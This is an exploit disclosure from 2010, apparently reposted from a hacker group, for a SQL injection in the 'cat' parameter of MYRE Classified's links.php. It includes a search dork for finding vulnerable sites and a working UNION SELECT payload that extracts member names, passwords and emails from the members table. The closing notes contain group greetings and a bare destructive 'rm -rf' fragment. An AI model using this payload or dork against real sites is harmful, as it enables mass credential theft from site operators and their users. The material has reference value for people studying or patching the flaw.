|    |    |    | Today: 20-Sep-2019 |

MYRE Classified SQL injection vulnerability

February 6, 2010 | Posted in ExploitAlert

###############################################
[~] MYRE Classified SQL injection vulnerability - (cat) #
[~] Author : kaMtiEz (kamzcrew@yahoo.com) #
[~] Homepage : http://www.indonesiancoder.com #
[~] Date : January 29, 2010 #
###############################################

[ Software Information ]

[+] Vendor : http://myrephp.com/
[+] Vulnerability : SQL injection
[+] Dork : "links.php"+"cat"
[+] Price : $499
[+] Location : INDONESIA - JOGJA

##############################################


[ HERE WE GO .. LIVE FROM JOGJA CITY ]

[ Vulnerable File ]

http://127.0.0.1/[kaMtiEz]/links.php?cat=[INDONESIANCODER]

[ Exploit ]

-666/**/union/**/all/**/select/**/666,666,666,concat_ws(0x3a,member_name,member_password,email)kaMtiEz,@@version,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666/**/from/**/members--

##############################################


[ Thx TO ]

[+] INDONESIAN CODER TEAM KILL-9 CREW KIRIK CREW MainHack ServerIsDown SurabayaHackerLink IndonesianHacker SoldierOfAllah
[+] tukulesto,M3NW5,arianom,tiw0L,abah_benu,d0ntcry,newbie_043,bobyhikaru,gonzhack
[+] Contrex,onthel,yasea,bugs,Ronz,Pathloader,cimpli,MarahMerah,ibl13Z
[+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue a.k.a mbamboenk,r3m1ck

[ NOTE ]

[+] Don Tukulesto : yuk iseng lagiiiiiiiiiiiiii ..
[+] Ibl13Z : kapan2 dolan bareng neh yo ?? hahaha
[+] r3m1ck : kost kok koyo warnet .. hahahaaa
[+] rm -rf

[ QUOTE ]

[+] we are not dead INDONESIANCODER stil r0x
[+] nothing secure ..

Taged in: classified, injection, vulnerability